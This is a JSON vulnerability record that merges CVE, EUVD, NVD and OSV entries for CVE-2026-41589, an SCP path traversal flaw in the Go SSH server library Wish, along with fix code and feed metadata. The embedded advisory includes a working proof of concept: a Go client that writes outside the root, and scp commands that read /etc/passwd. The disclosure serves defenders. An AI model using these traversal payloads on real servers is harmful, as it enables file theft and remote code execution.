{"id":"EUVD-2026-28370","revision":null,"records":[{"revision":"868d8668a1df4310b66fefa02012f0af","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41589","aliases":[],"title":"Wish has SCP Path Traversal that allows arbitrary file read/write","description":"Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.","state":0,"publishedAt":"2026-05-07T13:17:58.717+00:00","modifiedAt":"2026-05-07T14:41:57.99+00:00","affected":[{"ecosystem":"Vendor product","name":"wish","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"charmbracelet\",\n                    \"product\": \"wish\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.0.0, < 2.0.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h","https://github.com/charmbracelet/wish/releases/tag/v2.0.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41589","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41589","identifiers":["CVE-2026-41589"]},"retained":false,"historicalAffected":[]},{"revision":"102f44a69b494b7681409a38f8fd879f","observedAt":"2026-10-28T05:10:22.135+00:00","statement":{"source":"euvd","id":"EUVD-2026-28370","aliases":["CVE-2026-41589"],"title":"Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary fil…","description":"Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":null}],"references":["https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h","https://github.com/charmbracelet/wish/releases/tag/v2.0.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-28370","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 7, 2026, 1:17:58 PM","dateUpdated":"May 7, 2026, 2:41:57 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-28370","identifiers":["EUVD-2026-28370","CVE-2026-41589"]},"retained":false,"historicalAffected":[]},{"revision":"a9728172d7984c8c9f2e729f4abd296b","observedAt":"2026-10-27T10:10:19.004+00:00","statement":{"source":"nvd","id":"CVE-2026-41589","aliases":[],"title":"Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary fil…","description":"Wish is an SSH server with defaults and a collection of middlewares. From version 2.0.0 to before version 2.0.1, the SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol. This issue has been patched in version 2.0.1.","state":0,"publishedAt":"2026-05-07T14:16:02.853+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":9.6,"severity":"CRITICAL"}],"references":["https://github.com/charmbracelet/wish/releases/tag/v2.0.1","https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41589","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:charm:wish:2.0.0:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-07T14:16:02.853","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41589","identifiers":["CVE-2026-41589"]},"retained":false,"historicalAffected":[]},{"revision":"2d775698137040d2b7810d2fb9f95eb0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-xjvp-7243-rg9h","aliases":["CVE-2026-41589","GO-2026-5762"],"title":"Wish has SCP Path Traversal that allows arbitrary file read/write","description":"## Summary\n\nThe SCP middleware in `charm.land/wish/v2` is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing `../` sequences over the SCP protocol.\n\n## Affected Versions\n\n- `charm.land/wish/v2` — all versions through commit `72d67e6` (current `main`)\n- `github.com/charmbracelet/wish` — likely all v1 versions (same code pattern)\n\n## Details\n\n### Root Cause\n\nThe `fileSystemHandler.prefixed()` method in `scp/filesystem.go:42-48` is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:\n\n```go\nfunc (h *fileSystemHandler) prefixed(path string) string {\n    path = filepath.Clean(path)\n    if strings.HasPrefix(path, h.root) {\n        return path\n    }\n    return filepath.Join(h.root, path)\n}\n```\n\nWhen `path` contains `../` components, `filepath.Clean` resolves them but does not reject them. The subsequent `filepath.Join(h.root, path)` produces a path that escapes the root directory.\n\n### Attack Vector 1: Arbitrary File Write (scp -t)\n\nWhen receiving files from a client (`scp -t`), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:\n\n```go\nreNewFile   = regexp.MustCompile(`^C(\\d{4}) (\\d+) (.*)$`)\nreNewFolder = regexp.MustCompile(`^D(\\d{4}) 0 (.*)$`)\n```\n\nThe captured filename is used directly in `filepath.Join(path, name)` without sanitization (`scp/copy_from_client.go:90,140`), then passed to `fileSystemHandler.Write()` and `fileSystemHandler.Mkdir()`, which call `prefixed()` — allowing the attacker to write files and create directories anywhere on the filesystem.\n\n### Attack Vector 2: Arbitrary File Read (scp -f)\n\nWhen sending files to a client (`scp -f`), the requested path comes from the SSH command arguments (`scp/scp.go:284`). This path is passed to `handler.Glob()`, `handler.NewFileEntry()`, and `handler.NewDirEntry()`, all of which call `prefixed()` — allowing the attacker to read any file accessible to the server process.\n\n### Attack Vector 3: File Enumeration via Glob\n\nThe `Glob` method passes user input containing glob metacharacters (`*`, `?`, `[`) to `filepath.Glob` after `prefixed()`, enabling enumeration of files outside the root.\n\n## Proof of Concept\n\nAll three vectors were validated with end-to-end integration tests against a real SSH server using the public `wish` and `scp` APIs.\n\n### Vulnerable Server\n\nAny server using `scp.NewFileSystemHandler` with `scp.Middleware` is affected. This is the pattern shown in the official `examples/scp` example:\n\n```go\npackage main\n\nimport (\n\t\"net\"\n\n\t\"charm.land/wish/v2\"\n\t\"charm.land/wish/v2/scp\"\n\t\"github.com/charmbracelet/ssh\"\n)\n\nfunc main() {\n\thandler := scp.NewFileSystemHandler(\"/srv/data\")\n\ts, _ := wish.NewServer(\n\t\twish.WithAddress(net.JoinHostPort(\"0.0.0.0\", \"2222\")),\n\t\twish.WithMiddleware(scp.Middleware(handler, handler)),\n\t\t// Default: accepts all connections (no auth configured)\n\t)\n\ts.ListenAndServe()\n}\n```\n\n### Write Traversal — Write arbitrary files outside /srv/data\n\nAn attacker crafts SCP protocol messages with `../` in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to `/tmp/pwned`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\n\tgossh \"golang.org/x/crypto/ssh\"\n)\n\nfunc main() {\n\tconfig := &gossh.ClientConfig{\n\t\tUser:            \"attacker\",\n\t\tAuth:            []gossh.AuthMethod{gossh.Password(\"anything\")},\n\t\tHostKeyCallback: gossh.InsecureIgnoreHostKey(),\n\t}\n\tclient, _ := gossh.Dial(\"tcp\", \"target:2222\", config)\n\tsession, _ := client.NewSession()\n\n\t// Pipe crafted SCP protocol data into stdin\n\tstdin, _ := session.StdinPipe()\n\tgo func() {\n\t\t// Wait for server's NULL ack, then send traversal payload\n\t\tbuf := make([]byte, 1)\n\t\tsession.Stdout.(interface{ Read([]byte) (int, error) }) // read ack\n\n\t\t// File header with traversal: writes to /tmp/pwned (escaping /srv/data)\n\t\tfmt.Fprintf(stdin, \"C0644 12 ../../../tmp/pwned\\n\")\n\t\t// Wait for ack\n\t\tstdin.Write([]byte(\"hello world\\n\"))\n\t\tstdin.Write([]byte{0}) // NULL terminator\n\t\tstdin.Close()\n\t}()\n\n\t// Tell the server we're uploading to \".\"\n\tsession.Run(\"scp -t .\")\n}\n```\n\nOr equivalently using standard `scp` with a symlink trick, or by patching the openssh `scp` client to send a crafted filename.\n\n### Read Traversal — Read arbitrary files outside /srv/data\n\nNo custom tooling needed. Standard `scp` passes the path directly:\n\n```bash\n# Read /etc/passwd from a server whose SCP root is /srv/data\nscp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd\n```\n\nThe server resolves `../../../etc/passwd` through `prefixed()`:\n1. `filepath.Clean(\"../../../etc/passwd\")` → `\"../../../etc/passwd\"`\n2. Not prefixed with `/srv/data`, so: `filepath.Join(\"/srv/data\", \"../../../etc/passwd\")` → `\"/etc/passwd\"`\n3. File contents of `/etc/passwd` are sent to the attacker.\n\n### Glob Traversal — Enumerate and read files outside /srv/data\n\n```bash\nscp -P 2222 attacker@target:'../../../etc/pass*' ./\n```\n\n### Validated Test Output\n\nThese were confirmed with integration tests using `wish.NewServer`, `scp.Middleware`, and `scp.NewFileSystemHandler` against temp directories. The tests created a root directory and a sibling \"secret\" directory, then verified files were read/written across the boundary:\n\n```\n=== RUN   TestPathTraversalWrite\n    PATH TRAVERSAL CONFIRMED: file written to \".../secret/pwned\" (outside root \".../scproot\")\n--- FAIL: TestPathTraversalWrite\n\n=== RUN   TestPathTraversalWriteRecursiveDir\n    PATH TRAVERSAL CONFIRMED: directory created at \".../evil_dir\" (outside root \".../scproot\")\n    PATH TRAVERSAL CONFIRMED: file written to \".../evil_dir/payload\" (outside root \".../scproot\")\n--- FAIL: TestPathTraversalWriteRecursiveDir\n\n=== RUN   TestPathTraversalRead\n    PATH TRAVERSAL CONFIRMED: read file outside root, got content: \"...super-secret-password...\"\n--- FAIL: TestPathTraversalRead\n\n=== RUN   TestPathTraversalGlob\n    PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: \"...super-secret-password...\"\n--- FAIL: TestPathTraversalGlob\n```\n\nTests used the real SSH handshake via `golang.org/x/crypto/ssh`, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.\n\n## Impact\n\nAn authenticated SSH user can:\n\n- **Write arbitrary files** anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH `authorized_keys`, shell profiles, or systemd units.\n- **Read arbitrary files** accessible to the server process, including `/etc/shadow`, private keys, database credentials, and application secrets.\n- **Create arbitrary directories** on the filesystem.\n- **Enumerate files** outside the root via glob patterns.\n\nIf the server uses the default authentication configuration (which accepts all connections — see `wish.go:19`), these attacks are exploitable by unauthenticated remote attackers.\n\n## Remediation\n\n### Fix `prefixed()` to enforce root containment\n\n```go\nfunc (h *fileSystemHandler) prefixed(path string) (string, error) {\n    // Force path to be relative by prepending /\n    joined := filepath.Join(h.root, filepath.Clean(\"/\"+path))\n    // Verify the result is still within root\n    if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {\n        return \"\", fmt.Errorf(\"path traversal detected: %q resolves outside root\", path)\n    }\n    return joined, nil\n}\n```\n\n### Sanitize filenames in `copy_from_client.go`\n\nSCP filenames should never contain path separators or `..` components:\n\n```go\nname := match[3] // or matches[0][2] for directories\nif strings.ContainsAny(name, \"/\\\\\") || name == \"..\" || name == \".\" {\n    return fmt.Errorf(\"invalid filename: %q\", name)\n}\n```\n\n### Validate `info.Path` in `GetInfo` or at the middleware entry point\n\n```go\ninfo.Path = filepath.Clean(\"/\" + info.Path)\n```\n\n## Credit\n\nEvan MORVAN (evnsh) — me@evan.sh (Research)\nClaude Haiku (formatting the report)","state":0,"publishedAt":"2026-04-18T01:09:46+00:00","modifiedAt":"2026-07-07T20:41:06.5100829+00:00","affected":[{"ecosystem":"Go","name":"charm.land/wish/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/charmbracelet/wish","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.4.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h","https://nvd.nist.gov/vuln/detail/CVE-2026-41589","https://github.com/charmbracelet/wish","https://github.com/charmbracelet/wish/releases/tag/v2.0.1"],"sourceUrl":"https://github.com/advisories/GHSA-xjvp-7243-rg9h","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xjvp-7243-rg9h","identifiers":["GHSA-xjvp-7243-rg9h","CVE-2026-41589","GO-2026-5762"]},"retained":false,"historicalAffected":[]},{"revision":"e989c16815244133901f7e44f21c1419","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5762","aliases":["CVE-2026-41589","GHSA-xjvp-7243-rg9h"],"title":"Wish has SCP Path Traversal that allows arbitrary file read/write in charm.land/wish","description":"Wish has SCP Path Traversal that allows arbitrary file read/write in charm.land/wish","state":0,"publishedAt":"2026-07-07T16:52:19+00:00","modifiedAt":"2026-07-07T20:30:15.0152195+00:00","affected":[{"ecosystem":"Go","name":"charm.land/wish/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.0.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h","https://github.com/charmbracelet/wish/releases/tag/v2.0.1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5762","license":"OSV · upstream source license applies","key":"osv:GO-2026-5762","identifiers":["GO-2026-5762","CVE-2026-41589","GHSA-xjvp-7243-rg9h"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T03:49:20.9459112+00:00","complete":true,"records":1764,"lastAttemptAt":"2026-10-30T03:49:20.9459112+00:00","lastSuccessAt":"2026-10-30T03:49:21.0956195+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:49:21.0956209+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-31f63acb545dc1dc83bfd29d704f05b1f9bcf49861d98da742d3d09d4feba239","complete":true,"records":416818,"lastAttemptAt":"2026-10-30T03:48:58.3782708+00:00","lastSuccessAt":"2026-10-30T03:48:58.3604559+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:48:58.3782708+00:00","snapshotPublishedAt":"2026-10-30T03:26:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-88fe0b1aa80645bf9d69475adeb3cab6","complete":false,"records":13518,"lastAttemptAt":"2026-10-30T04:01:31.5435945+00:00","lastSuccessAt":"2026-10-30T04:01:31.539+00:00","error":"15 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T04:01:31.539+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13136,"expectedIdentifiers":13601,"failedIdentifiers":15},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T03:49:20.9459112+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T03:49:20.9459112+00:00","lastSuccessAt":"2026-10-30T03:49:21.0964525+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:49:21.0964527+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dff131a3390246408db17133f034dc7f","complete":true,"records":13541,"lastAttemptAt":"2026-10-30T03:49:22.1579892+00:00","lastSuccessAt":"2026-10-30T03:49:22.155+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:49:22.155+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13601,"expectedIdentifiers":13601,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-ed3d9cf8b8585536fcb9b5cdf9f82e66117dc54e56de651034444f578191d1cf","complete":true,"records":9806,"lastAttemptAt":"2026-10-30T03:49:17.9057093+00:00","lastSuccessAt":"2026-10-30T03:49:17.6553909+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:49:17.9057093+00:00","snapshotPublishedAt":"2026-10-30T03:03:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T03:48:58.4335698+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:48:58.4335698+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3d73c87158b66efc3d2abd577048eff6d8962b9b8404ac23159c8b20cd3852a7","complete":true,"records":3014,"lastAttemptAt":"2026-10-30T03:49:20.9154714+00:00","lastSuccessAt":"2026-10-30T03:49:20.7978659+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:49:20.9154714+00:00","snapshotPublishedAt":"2026-10-30T03:03:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ec5b13e78c39945726a720832da7660d2774969f16e2a34f99460c135811abd5","complete":true,"records":230948,"lastAttemptAt":"2026-10-30T03:48:58.6037653+00:00","lastSuccessAt":"2026-10-29T22:50:35.0693267+00:00","error":null,"lastVerifiedAt":"2026-10-30T03:48:58.6037653+00:00","snapshotPublishedAt":"2026-10-29T22:33:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}